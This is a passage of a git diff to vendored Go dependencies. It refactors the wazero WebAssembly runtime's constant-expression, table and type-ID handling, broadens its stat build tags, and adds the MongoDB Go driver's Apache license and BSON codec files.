*GlobalInstance) initialize(importedGlobals []*GlobalInstance, expr *ConstantExpression, funcRefResolver func(funcIndex Index) Reference) { - switch expr.Opcode { - case OpcodeI32Const: - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - v, _, _ := leb128.LoadInt32(expr.Data) - g.Val = uint64(uint32(v)) - case OpcodeI64Const: - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - v, _, _ := leb128.LoadInt64(expr.Data) - g.Val = uint64(v) - case OpcodeF32Const: - g.Val = uint64(binary.LittleEndian.Uint32(expr.Data)) - case OpcodeF64Const: - g.Val = binary.LittleEndian.Uint64(expr.Data) - case OpcodeGlobalGet: - id, _, _ := leb128.LoadUint32(expr.Data) - importedG := importedGlobals[id] - switch importedG.Type.ValType { - case ValueTypeI32: - g.Val = uint64(uint32(importedG.Val)) - case ValueTypeI64: - g.Val = importedG.Val - case ValueTypeF32: - g.Val = importedG.Val - case ValueTypeF64: - g.Val = importedG.Val - case ValueTypeV128: - g.Val, g.ValHi = importedG.Val, importedG.ValHi - case ValueTypeFuncref, ValueTypeExternref: - g.Val = importedG.Val - } - case OpcodeRefNull: - switch expr.Data[0] { - case ValueTypeExternref, ValueTypeFuncref: - g.Val = 0 // Reference types are opaque 64bit pointer at runtime. - } - case OpcodeRefFunc: - v, _, _ := leb128.LoadUint32(expr.Data) - g.Val = uint64(funcRefResolver(v)) - case OpcodeVecV128Const: - g.Val, g.ValHi = binary.LittleEndian.Uint64(expr.Data[0:8]), binary.LittleEndian.Uint64(expr.Data[8:16]) + result, _, _ := evaluateConstExpr( + expr, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + g := importedGlobals[globalIndex] + return g.Type.ValType, g.Val, g.ValHi, nil + }, + func(funcIndex Index) (Reference, error) { + return funcRefResolver(funcIndex), nil + }, + ) + switch len(result) { + case 1: + g.Val = result[0] + case 2: + g.Val, g.ValHi = result[0], result[1] } } @@ -628,18 +609,84 @@ func (s *Store) GetFunctionTypeIDs(ts []FunctionType) ([]FunctionTypeID, error) ret := make([]FunctionTypeID, len(ts)) for i := range ts { t := &ts[i] - inst, err := s.GetFunctionTypeID(t) + key := structuralTypeKey(t, ret) + id, err := s.getFunctionTypeIDByKey(key) if err != nil { return nil, err } - ret[i] = inst + ret[i] = id } return ret, nil } +// structuralValueTypeName returns a string representation of a ValueType where +// concrete ref type indices are replaced with their FunctionTypeID. This makes +// the name independent of module-local type index numbering. +func structuralValueTypeName(vt ValueType, typeIDs []FunctionTypeID) string { + if vt.IsConcreteRef() { + idx := vt.TypeIndex() + if int(idx) < len(typeIDs) { + if vt.IsNullable() { + return fmt.Sprintf("(ref null tid=%d)", typeIDs[idx]) + } + return fmt.Sprintf("(ref tid=%d)", typeIDs[idx]) + } + } + return ValueTypeName(vt) +} + +// structuralTypeKey returns a string key for a FunctionType that is stable +// across modules. For signatures without concrete ref types it falls back to +// FunctionType.key(). When concrete refs are present, local type indices are +// replaced with their already-assigned FunctionTypeID so that two modules +// defining structurally identical types at different indices produce the same +// key and share a single FunctionTypeID. +func structuralTypeKey(ft *FunctionType, typeIDs []FunctionTypeID) string { + hasConcreteRef := false + for _, p := range ft.Params { + if p.IsConcreteRef() { + hasConcreteRef = true + break + } + } + if !hasConcreteRef { + for _, r := range ft.Results { + if r.IsConcreteRef() { + hasConcreteRef = true + break + } + } + } + if !hasConcreteRef { + return ft.key() + } + var ret string + for _, b := range ft.Params { + ret += structuralValueTypeName(b, typeIDs) + } + if len(ft.Params) == 0 { + ret += "v_" + } else { + ret += "_" + } + for _, b := range ft.Results { + ret += structuralValueTypeName(b, typeIDs) + } + if len(ft.Results) == 0 { + ret += "v" + } + if ft.RecGroupSize > 1 { + ret += fmt.Sprintf("|rec%d/%d", ft.RecGroupPosition, ft.RecGroupSize) + } + return ret +} + func (s *Store) GetFunctionTypeID(t *FunctionType) (FunctionTypeID, error) { + return s.getFunctionTypeIDByKey(t.key()) +} + +func (s *Store) getFunctionTypeIDByKey(key string) (FunctionTypeID, error) { s.mux.RLock() - key := t.key() id, ok := s.typeIDs[key] s.mux.RUnlock() if !ok { diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/table.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/table.go index 2123693c..e9fe8611 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/table.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/table.go @@ -6,18 +6,18 @@ import ( "sync" "github.com/tetratelabs/wazero/api" - "github.com/tetratelabs/wazero/internal/leb128" ) // Table describes the limits of elements and its type in a table. type Table struct { - Min uint32 - Max *uint32 - Type RefType + Min uint32 + Max *uint32 + Type RefType + InitExpr *ConstantExpression } -// RefType is either RefTypeFuncref or RefTypeExternref as of WebAssembly core 2.0. -type RefType = byte +// RefType is a reference type used for table elements. +type RefType = ValueType const ( // RefTypeFuncref represents a reference to a function. @@ -66,8 +66,8 @@ type ElementSegment struct { // Followings are set/used regardless of the Mode. - // Init indices are (nullable) table elements where each index is the function index by which the module initialize the table. - Init []Index + // Init expressions are table elements where each expression evaluates to the function index by which the module initialize the table. + Init []ConstantExpression // Type holds the type of this element segment, which is the RefType in WebAssembly 2.0. Type RefType @@ -76,39 +76,6 @@ type ElementSegment struct { Mode ElementMode } -const ( - // ElementInitNullReference represents the null reference in ElementSegment's Init. - // In Wasm spec, an init item represents either Function's Index or null reference, - // and in wazero, we limit the maximum number of functions available in a module to - // MaximumFunctionIndex. Therefore, it is safe to use 1 << 31 to represent the null - // reference in Element segments. - ElementInitNullReference Index = 1 << 31 - // elementInitImportedGlobalReferenceType represents an init item which is resolved via an imported global constexpr. - // The actual function reference stored at Global is only known at instantiation-time, so we set this flag - // to items of ElementSegment.Init at binary decoding, and unwrap this flag at instantiation to resolve the value. - // - // This might collide the init element resolved via ref.func instruction which is resolved with the func index at decoding, - // but in practice, that is not allowed in wazero thanks to our limit MaximumFunctionIndex. Thus, it is safe to set this flag - // in init element to indicate as such. - elementInitImportedGlobalReferenceType Index = 1 << 30 -) - -// unwrapElementInitGlobalReference takes an item of the init vector of an ElementSegment, -// and returns the Global index if it is supposed to get generated from a global. -// ok is true if the given init item is as such. -func unwrapElementInitGlobalReference(init Index) (_ Index, ok bool) { - if init&elementInitImportedGlobalReferenceType == elementInitImportedGlobalReferenceType { - return init &^ elementInitImportedGlobalReferenceType, true - } - return init, false -} - -// WrapGlobalIndexAsElementInit wraps the given index as an init item which is resolved via an imported global value. -// See the comments on elementInitImportedGlobalReferenceType for more details. -func WrapGlobalIndexAsElementInit(init Index) Index { - return init | elementInitImportedGlobalReferenceType -} - // IsActive returns true if the element segment is "active" mode which requires the runtime to initialize table // with the contents in .Init field. func (e *ElementSegment) IsActive() bool { @@ -174,20 +141,39 @@ func (m *Module) validateTable(enabledFeatures api.CoreFeatures, tables []Table, // Any offset applied is to the element, not the function index: validate here if the funcidx is sound. for ei, init := range elem.Init { - if init == ElementInitNullReference { - continue + _, initType, err := evaluateConstExpr( + &init, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + if globalIndex >= Index(globalsCount) { + return 0, 0, 0, fmt.Errorf("%s[%d].init[%d] global index %d out of range", SectionIDName(SectionIDElement), idx, ei, globalIndex) + } + vt, err := m.resolveConstExprGlobalType(enabledFeatures, SectionIDElement, idx, globalIndex) + return vt, 0, 0, err + }, + func(funcIndex Index) (Reference, error) { + if funcIndex >= Index(funcCount) { + return 0, fmt.Errorf("%s[%d].init[%d] func index %d out of range", SectionIDName(SectionIDElement), idx, ei, funcIndex) + } + return 0, nil + }, + ) + if err != nil { + return err } - index, ok := unwrapElementInitGlobalReference(init) - if ok { - if index >= globalsCount { - return fmt.Errorf("%s[%d].init[%d] global index %d out of range", SectionIDName(SectionIDElement), idx, ei, index) + + switch elem.Type { + case RefTypeFuncref: + if initType != ValueTypeFuncref { + return fmt.Errorf("%s[%d].init[%d] must be funcref but was %s", SectionIDName(SectionIDElement), idx, ei, ValueTypeName(initType)) } - } else { - if elem.Type == RefTypeExternref { - return fmt.Errorf("%s[%d].init[%d] must be ref.null but was %d", SectionIDName(SectionIDElement), idx, ei, init) + case RefTypeExternref: + if initType != ValueTypeExternref { + return fmt.Errorf("%s[%d].init[%d] must be externref but was %s", SectionIDName(SectionIDElement), idx, ei, ValueTypeName(initType)) } - if index >= funcCount { - return fmt.Errorf("%s[%d].init[%d] func index %d out of range", SectionIDName(SectionIDElement), idx, ei, index) + default: + if !isRefSubtypeOf(initType, elem.Type) && initType != ValueTypeFuncref { + return fmt.Errorf("%s[%d].init[%d] must be %s but was %s", + SectionIDName(SectionIDElement), idx, ei, ValueTypeName(elem.Type), ValueTypeName(initType)) } } } @@ -198,38 +184,49 @@ func (m *Module) validateTable(enabledFeatures api.CoreFeatures, tables []Table, } t := tables[elem.TableIndex] - if t.Type != elem.Type { + if !isRefSubtypeOf(elem.Type, t.Type) { return fmt.Errorf("element type mismatch: table has %s but element has %s", RefTypeName(t.Type), RefTypeName(elem.Type), ) } - // global.get needs to be discovered during initialization - oc := elem.OffsetExpr.Opcode - if oc == OpcodeGlobalGet { - globalIdx, _, err := leb128.LoadUint32(elem.OffsetExpr.Data) - if err != nil { - return fmt.Errorf("%s[%d] couldn't read global.get parameter: %w", SectionIDName(SectionIDElement), idx, err) - } else if err = m.verifyImportGlobalI32(SectionIDElement, idx, globalIdx); err != nil { - return err - } - } else if oc == OpcodeI32Const { - // Per https://github.com/WebAssembly/spec/blob/wg-1.0/test/core/elem.wast#L117 we must pass if imported - // table has set its min=0. Per https://github.com/WebAssembly/spec/blob/wg-1.0/test/core/elem.wast#L142, we - // have to do fail if module-defined min=0. - if !enabledFeatures.IsEnabled(api.CoreFeatureReferenceTypes) && elem.TableIndex >= importedTableCount { - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - o, _, err := leb128.LoadInt32(elem.OffsetExpr.Data) + hasGlobalRef := false + + offsetExprResults, offsetExprType, err := evaluateConstExpr( + &elem.OffsetExpr, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + hasGlobalRef = true + + if globalIndex >= Index(globalsCount) { + return 0, 0, 0, fmt.Errorf("%s[%d] global index %d out of range", SectionIDName(SectionIDElement), idx, globalIndex) + } + + vt, err := m.resolveConstExprGlobalType(enabledFeatures, SectionIDElement, idx, globalIndex) if err != nil { - return fmt.Errorf("%s[%d] couldn't read i32.const parameter: %w", SectionIDName(SectionIDElement), idx, err) + return 0, 0, 0, err } - offset := Index(o) - if err = checkSegmentBounds(t.Min, uint64(initCount)+uint64(offset), idx); err != nil { - return err + + if vt != ValueTypeI32 { + return 0, 0, 0, fmt.Errorf("%s[%d] (global.get %d): import[%d].global.ValType != i32", SectionIDName(SectionIDElement), idx, globalIndex, i) } + return ValueTypeI32, 0, 0, nil + }, + func(funcIndex Index) (Reference, error) { + return 0, nil + }, + ) + if err != nil { + return fmt.Errorf("%s[%d] couldn't evaluate offset expression: %w", SectionIDName(SectionIDElement), idx, err) + } + if offsetExprType != ValueTypeI32 { + return fmt.Errorf("%s[%d] offset expression must return i32 but was %s", SectionIDName(SectionIDElement), idx, ValueTypeName(offsetExprType)) + } + + if !enabledFeatures.IsEnabled(api.CoreFeatureReferenceTypes) && !hasGlobalRef && elem.TableIndex >= importedTableCount { + offset := uint32(offsetExprResults[0]) + if err = checkSegmentBounds(t.Min, uint64(initCount)+uint64(offset), idx); err != nil { + return err } - } else { - return fmt.Errorf("%s[%d] has an invalid const expression: %s", SectionIDName(SectionIDElement), idx, InstructionName(oc)) } } } @@ -247,11 +244,20 @@ func (m *ModuleInstance) buildTables(module *Module, skipBoundCheck bool) (err e idx := module.ImportTableCount for i := range module.TableSection { tsec := &module.TableSection[i] - // The module defining the table is the one that sets its Min/Max etc. - m.Tables[idx] = &TableInstance{ + t := &TableInstance{ References: make([]Reference, tsec.Min), Min: tsec.Min, Max: tsec.Max, Type: tsec.Type, } + if tsec.InitExpr != nil { + initVals := evaluateConstExprInModuleInstance(tsec.InitExpr, m) + if len(initVals) > 0 && initVals[0] != 0 { + initRef := Reference(initVals[0]) + for j := range t.References { + t.References[j] = initRef + } + } + } + m.Tables[idx] = t idx++ } @@ -259,18 +265,7 @@ func (m *ModuleInstance) buildTables(module *Module, skipBoundCheck bool) (err e for elemI := range module.ElementSection { // Do not loop over the value since elementSegments is a slice of value. elem := &module.ElementSection[elemI] table := m.Tables[elem.TableIndex] - var offset uint32 - if elem.OffsetExpr.Opcode == OpcodeGlobalGet { - // Ignore error as it's already validated. - globalIdx, _, _ := leb128.LoadUint32(elem.OffsetExpr.Data) - global := m.Globals[globalIdx] - offset = uint32(global.Val) - } else { // i32.const - // Ignore error as it's already validated. - o, _, _ := leb128.LoadInt32(elem.OffsetExpr.Data) - offset = uint32(o) - } - + offset := uint32(evaluateConstExprInModuleInstance(&elem.OffsetExpr, m)[0]) // Check to see if we are out-of-bounds initCount := uint64(len(elem.Init)) if err = checkSegmentBounds(table.Min, uint64(offset)+initCount, Index(elemI)); err != nil { @@ -295,23 +290,6 @@ func checkSegmentBounds(min uint32, requireMin uint64, idx Index) error { // uin return nil } -func (m *Module) verifyImportGlobalI32(sectionID SectionID, sectionIdx Index, idx uint32) error { - ig := uint32(math.MaxUint32) // +1 == 0 - for i := range m.ImportSection { - imp := &m.ImportSection[i] - if imp.Type == ExternTypeGlobal { - ig++ - if ig == idx { - if imp.DescGlobal.ValType != ValueTypeI32 { - return fmt.Errorf("%s[%d] (global.get %d): import[%d].global.ValType != i32", SectionIDName(sectionID), sectionIdx, idx, i) - } - return nil - } - } - } - return fmt.Errorf("%s[%d] (global.get %d): out of range of imported globals", SectionIDName(sectionID), sectionIdx, idx) -} - // Grow appends the `initialRef` by `delta` times into the References slice. // Returns -1 if the operation is not valid, otherwise the old length of the table. // @@ -326,10 +304,14 @@ func (t *TableInstance) Grow(delta uint32, initialRef Reference) (currentLen uin newLen >= math.MaxUint32 || (t.Max != nil && newLen > int64(*t.Max)) { return 0xffffffff // = -1 in signed 32-bit integer. } + t.References = append(t.References, make([]uintptr, delta)...) + if initialRef == 0 { + return + } // Uses the copy trick for faster filling the new region with the initial value. - // https://gist.github.com/taylorza/df2f89d5f9ab3ffd06865062a4cf015d + // https://github.com/golang/go/blob/go1.24.0/src/slices/slices.go#L514-L517 newRegion := t.References[currentLen:] newRegion[0] = initialRef for i := 1; i < len(newRegion); i *= 2 { diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasmruntime/errors.go b/vendor/github.com/tetratelabs/wazero/internal/wasmruntime/errors.go index 556e5de8..c17e7971 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasmruntime/errors.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasmruntime/errors.go @@ -33,6 +33,10 @@ var ( ErrRuntimeExpectedSharedMemory = New("expected shared memory") // ErrRuntimeTooManyWaiters indicates that atomic.wait was called with too many waiters. ErrRuntimeTooManyWaiters = New("too many waiters") + // ErrRuntimeUncaughtException indicates that a thrown exception was not caught by any handler. + ErrRuntimeUncaughtException = New("uncaught exception") + // ErrRuntimeNullReference indicates a null reference was used where a non-null reference was expected. + ErrRuntimeNullReference = New("null reference") ) // Error is returned by a wasm.Engine during the execution of Wasm functions, and they indicate that the Wasm runtime diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go index 3bf9b5d1..bd392aae 100644 --- a/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_bsd.go @@ -1,4 +1,4 @@ -//go:build (amd64 || arm64) && (darwin || freebsd) +//go:build darwin || freebsd || netbsd package sys @@ -13,16 +13,16 @@ func statFromFileInfo(info fs.FileInfo) Stat_t { if d, ok := info.Sys().(*syscall.Stat_t); ok { st := Stat_t{} st.Dev = uint64(d.Dev) - st.Ino = d.Ino + st.Ino = Inode(d.Ino) st.Mode = info.Mode() st.Nlink = uint64(d.Nlink) - st.Size = d.Size + st.Size = int64(d.Size) atime := d.Atimespec - st.Atim = atime.Sec*1e9 + atime.Nsec + st.Atim = EpochNanos(atime.Sec)*1e9 + EpochNanos(atime.Nsec) mtime := d.Mtimespec - st.Mtim = mtime.Sec*1e9 + mtime.Nsec + st.Mtim = EpochNanos(mtime.Sec)*1e9 + EpochNanos(mtime.Nsec) ctime := d.Ctimespec - st.Ctim = ctime.Sec*1e9 + ctime.Nsec + st.Ctim = EpochNanos(ctime.Sec)*1e9 + EpochNanos(ctime.Nsec) return st } return defaultStatFromFileInfo(info) diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_linux.go b/vendor/github.com/tetratelabs/wazero/sys/stat_posix.go similarity index 50% rename from vendor/github.com/tetratelabs/wazero/sys/stat_linux.go rename to vendor/github.com/tetratelabs/wazero/sys/stat_posix.go index 9b5e20e8..0e0f47e5 100644 --- a/vendor/github.com/tetratelabs/wazero/sys/stat_linux.go +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_posix.go @@ -1,7 +1,4 @@ -//go:build (amd64 || arm64 || riscv64) && linux - -// Note: This expression is not the same as compiler support, even if it looks -// similar. Platform functions here are used in interpreter mode as well. +//go:build linux || openbsd || dragonfly || solaris package sys @@ -16,16 +13,16 @@ func statFromFileInfo(info fs.FileInfo) Stat_t { if d, ok := info.Sys().(*syscall.Stat_t); ok { st := Stat_t{} st.Dev = uint64(d.Dev) - st.Ino = uint64(d.Ino) + st.Ino = Inode(d.Ino) st.Mode = info.Mode() st.Nlink = uint64(d.Nlink) - st.Size = d.Size + st.Size = int64(d.Size) atime := d.Atim - st.Atim = atime.Sec*1e9 + atime.Nsec + st.Atim = EpochNanos(atime.Sec)*1e9 + EpochNanos(atime.Nsec) mtime := d.Mtim - st.Mtim = mtime.Sec*1e9 + mtime.Nsec + st.Mtim = EpochNanos(mtime.Sec)*1e9 + EpochNanos(mtime.Nsec) ctime := d.Ctim - st.Ctim = ctime.Sec*1e9 + ctime.Nsec + st.Ctim = EpochNanos(ctime.Sec)*1e9 + EpochNanos(ctime.Nsec) return st } return defaultStatFromFileInfo(info) diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go index cc37012c..6fb9b809 100644 --- a/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_unsupported.go @@ -1,4 +1,4 @@ -//go:build (!((amd64 || arm64 || riscv64) && linux) && !((amd64 || arm64) && (darwin || freebsd)) && !((amd64 || arm64) && windows)) || js +//go:build !(linux || darwin || freebsd || netbsd || openbsd || dragonfly || solaris || windows) package sys diff --git a/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go b/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go index 1a7070f4..91450ffd 100644 --- a/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go +++ b/vendor/github.com/tetratelabs/wazero/sys/stat_windows.go @@ -1,5 +1,3 @@ -//go:build (amd64 || arm64) && windows - package sys import ( diff --git a/vendor/go.mongodb.org/mongo-driver/LICENSE b/vendor/go.mongodb.org/mongo-driver/LICENSE new file mode 100644 index 00000000..261eeb9e --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bson.go b/vendor/go.mongodb.org/mongo-driver/bson/bson.go new file mode 100644 index 00000000..a0d81858 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bson.go @@ -0,0 +1,50 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 +// +// Based on gopkg.in/mgo.v2/bson by Gustavo Niemeyer +// See THIRD-PARTY-NOTICES for original license terms. + +package bson // import "go.mongodb.org/mongo-driver/bson" + +import ( + "go.mongodb.org/mongo-driver/bson/primitive" +) + +// Zeroer allows custom struct types to implement a report of zero +// state. All struct types that don't implement Zeroer or where IsZero +// returns false are considered to be not zero. +type Zeroer interface { + IsZero() bool +} + +// D is an ordered representation of a BSON document. This type should be used when the order of the elements matters, +// such as MongoDB command documents. If the order of the elements does not matter, an M should be used instead. +// +// A D should not be constructed with duplicate key names, as that can cause undefined server behavior. +// +// Example usage: +// +// bson.D{{"foo", "bar"}, {"hello", "world"}, {"pi", 3.14159}} +type D = primitive.D + +// E represents a BSON element for a D. It is usually used inside a D. +type E = primitive.E + +// M is an unordered representation of a BSON document. This type should be used when the order of the elements does not +// matter. This type is handled as a regular map[string]interface{} when encoding and decoding. Elements will be +// serialized in an undefined, random order. If the order of the elements matters, a D should be used instead. +// +// Example usage: +// +// bson.M{"foo": "bar", "hello": "world", "pi": 3.14159} +type M = primitive.M + +// An A is an ordered representation of a BSON array. +// +// Example usage: +// +// bson.A{"bar", "world", 3.14159, bson.D{{"qux", 12345}}} +type A = primitive.A diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/array_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/array_codec.go new file mode 100644 index 00000000..652aa48b --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/array_codec.go @@ -0,0 +1,55 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/x/bsonx/bsoncore" +) + +// ArrayCodec is the Codec used for bsoncore.Array values. +// +// Deprecated: ArrayCodec will not be directly accessible in Go Driver 2.0. +type ArrayCodec struct{} + +var defaultArrayCodec = NewArrayCodec() + +// NewArrayCodec returns an ArrayCodec. +// +// Deprecated: NewArrayCodec will not be available in Go Driver 2.0. See +// [ArrayCodec] for more details. +func NewArrayCodec() *ArrayCodec { + return &ArrayCodec{} +} + +// EncodeValue is the ValueEncoder for bsoncore.Array values. +func (ac *ArrayCodec) EncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tCoreArray { + return ValueEncoderError{Name: "CoreArrayEncodeValue", Types: []reflect.Type{tCoreArray}, Received: val} + } + + arr := val.Interface().(bsoncore.Array) + return bsonrw.Copier{}.CopyArrayFromBytes(vw, arr) +} + +// DecodeValue is the ValueDecoder for bsoncore.Array values. +func (ac *ArrayCodec) DecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tCoreArray { + return ValueDecoderError{Name: "CoreArrayDecodeValue", Types: []reflect.Type{tCoreArray}, Received: val} + } + + if val.IsNil() { + val.Set(reflect.MakeSlice(val.Type(), 0, 0)) + } + + val.SetLen(0) + arr, err := 